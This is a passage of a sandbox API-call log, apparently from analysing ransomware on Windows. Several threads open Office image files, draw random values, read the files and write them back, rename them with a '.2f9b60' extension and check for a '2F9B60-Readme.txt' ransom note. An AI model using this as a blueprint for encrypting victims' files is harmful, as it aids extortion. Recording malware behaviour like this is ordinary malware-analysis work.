RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188850 [0141.111] SetFilePointerEx (in: hFile=0x1edc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.111] WriteFile (in: hFile=0x1edc, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2ad8fb10, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x2ad8fb10*=0x12a, lpOverlapped=0x0) returned 1 [0141.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0141.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc30) returned 1 [0141.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0141.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a660) returned 1 [0141.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0141.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0141.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4205e800 [0141.141] wcscpy (in: _Dest=0x4205e800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" [0141.142] wcscat (in: _Dest=0x4205e800, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.2f9b60" [0141.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.2f9b60", NtPathName=0x2ad8fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb4f40 [0141.142] NtSetInformationFile (FileHandle=0x1edc, IoStatusBlock=0x2ad8fbd0, FileInformation=0x1ceb4f40, Length=0xdc, FileInformationClass=0xa) returned 0x0 [0148.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4f40) returned 1 [0148.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3e80) returned 1 [0148.268] NtQueryInformationFile (in: FileHandle=0x1edc, IoStatusBlock=0x2ad8fb98, FileInformation=0x2ad8fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ad8fb98, FileInformation=0x2ad8fba8) returned 0x0 [0148.268] NtSetInformationFile (FileHandle=0x1edc, IoStatusBlock=0x2ad8fb98, FileInformation=0x2ad8fba8, Length=0x28, FileInformationClass=0x4) [0208.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e800) returned 1 [0208.320] FlushFileBuffers (hFile=0x1edc) returned 1 [0208.335] CloseHandle (hObject=0x1edc) returned 1 [0216.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5700 [0216.018] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0216.018] wcscat (in: _Dest=0x1b7a5700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0216.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0216.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 [0216.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 Thread: id = 1842 os_tid = 0xdc4 [0132.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp")) returned 0x20 [0136.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0137.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f18 [0140.551] GetFileSizeEx (in: hFile=0x1f18, lpFileSize=0x2ae7fe20 | out: lpFileSize=0x2ae7fe20*=320) returned 1 [0140.551] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x13c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.551] ReadFile (in: hFile=0x1f18, lpBuffer=0x2ae7fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ae7fde8, lpOverlapped=0x0 | out: lpBuffer=0x2ae7fda0*, lpNumberOfBytesRead=0x2ae7fde8*=0x4, lpOverlapped=0x0) returned 1 [0140.552] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0140.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7b0 [0140.553] NtQuerySystemTime (in: CurrentTime=0x2ae7fce0 | out: CurrentTime=0x2ae7fce0*=132462177457894000) returned 0x0 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x6c5b1c11 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x3a91fada [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x325a4c06 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x5f7a979a [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x377d6441 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x4151817 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x6682fd29 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x21550449 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x3b4e5adc [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x291021b6 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x30048acb [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x417a79e8 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x17bfc3ce [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x87fb68d [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x6ef9c99d [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0xdfb2154 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x1cdda0f2 [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x3caf030a [0140.553] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x5f024e41 [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x18ebfd2b [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x44ae1bba [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x23c0f73 [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x4800b64e [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x6551f0fd [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x752f59f6 [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x29c2c08c [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0xa38d96a [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x56cc623b [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x7903ebbd [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x7a836919 [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x739d44f6 [0140.554] RtlRandomEx (in: Seed=0x2ae7fcd0 | out: Seed=0x2ae7fcd0) returned 0x57c6e9ad [0140.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0140.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0140.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0140.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0140.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7b0) returned 1 [0140.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0140.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0140.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0140.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0140.563] ReadFile (in: hFile=0x1f18, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x2ae7fcd0, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x2ae7fcd0*=0x140, lpOverlapped=0x0) returned 1 [0140.564] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.564] WriteFile (in: hFile=0x1f18, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2ae7fcd4, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x2ae7fcd4*=0x140, lpOverlapped=0x0) returned 1 [0140.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0140.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0140.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0140.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0140.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0140.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0140.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0140.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9d730 [0140.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0140.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0140.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0140.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0140.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9dbb0 [0140.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0140.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0140.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0140.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0140.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0140.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x132) returned 0x188710 [0140.922] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.922] WriteFile (in: hFile=0x1f18, lpBuffer=0x188710*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ae7fdf0, lpOverlapped=0x0 | out: lpBuffer=0x188710*, lpNumberOfBytesWritten=0x2ae7fdf0*=0x132, lpOverlapped=0x0) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188710) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dbb0) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d730) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0140.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4205e590 [0140.995] wcscpy (in: _Dest=0x4205e590, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" [0140.995] wcscat (in: _Dest=0x4205e590, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.2f9b60" [0140.995] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.2f9b60", NtPathName=0x2ae7fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799700 [0140.995] NtSetInformationFile (FileHandle=0x1f18, IoStatusBlock=0x2ae7feb0, FileInformation=0x1b799700, Length=0xe4, FileInformationClass=0xa) returned 0x0 [0145.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799700) returned 1 [0145.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd0d0) returned 1 [0145.967] NtQueryInformationFile (in: FileHandle=0x1f18, IoStatusBlock=0x2ae7fe78, FileInformation=0x2ae7fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ae7fe78, FileInformation=0x2ae7fe88) returned 0x0 [0145.967] NtSetInformationFile (FileHandle=0x1f18, IoStatusBlock=0x2ae7fe78, FileInformation=0x2ae7fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e590) returned 1 [0146.027] FlushFileBuffers (hFile=0x1f18) returned 1 [0146.036] CloseHandle (hObject=0x1f18) returned 1 [0146.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad8c0 [0146.080] wcscpy (in: _Dest=0x202ad8c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.080] wcscat (in: _Dest=0x202ad8c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad8c0) returned 1 [0147.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 Thread: id = 1843 os_tid = 0xed4 [0132.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg")) returned 0x20 [0136.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg", dwFileAttributes=0x20) returned 1 [0137.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f08 [0140.433] GetFileSizeEx (in: hFile=0x1f08, lpFileSize=0x2af2f6c0 | out: lpFileSize=0x2af2f6c0*=16125) returned 1 [0140.433] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x3ef9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.433] ReadFile (in: hFile=0x1f08, lpBuffer=0x2af2f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2af2f688, lpOverlapped=0x0 | out: lpBuffer=0x2af2f640*, lpNumberOfBytesRead=0x2af2f688*=0x4, lpOverlapped=0x0) returned 1 [0140.464] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0140.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.465] NtQuerySystemTime (in: CurrentTime=0x2af2f580 | out: CurrentTime=0x2af2f580*=132462177457114000) returned 0x0 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x5139da88 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x7f72eb59 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x5d40f3db [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x5b93fccc [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x7f4a654 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x3831ccf2 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x17d07be8 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x421e6c8 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x882c3e0 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x54bff8d2 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x55e54422 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x381cfaa9 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x5b67fd2f [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x1c9ce50d [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x1a4cccae [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x58ffd6df [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x234d3b3d [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0xd80cbc0 [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x1e63762e [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x29bda2cc [0140.465] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x456afcd1 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x51a4b1e0 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x457feb91 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x104e75e6 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x4daac26a [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x3691e8b8 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x12b03269 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x98da935 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x65b8e5d3 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x18b08bd2 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0x1671b541 [0140.466] RtlRandomEx (in: Seed=0x2af2f570 | out: Seed=0x2af2f570) returned 0xd78d839 [0140.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0140.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0140.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0140.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0140.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42225d50 [0140.479] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.479] ReadFile (in: hFile=0x1f08, lpBuffer=0x42225d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2af2f5e0, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesRead=0x2af2f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.504] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420592e0 [0140.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061bb0 [0140.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42231180 [0140.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0140.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420592e0) returned 1 [0140.505] WriteFile (in: hFile=0x1f08, lpBuffer=0x42231180*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2af2f5e0, lpOverlapped=0x0 | out: lpBuffer=0x42231180*, lpNumberOfBytesWritten=0x2af2f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42231180) returned 1 [0140.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0140.912] RtlAllocateHeap (HeapHandle=0xa0000, 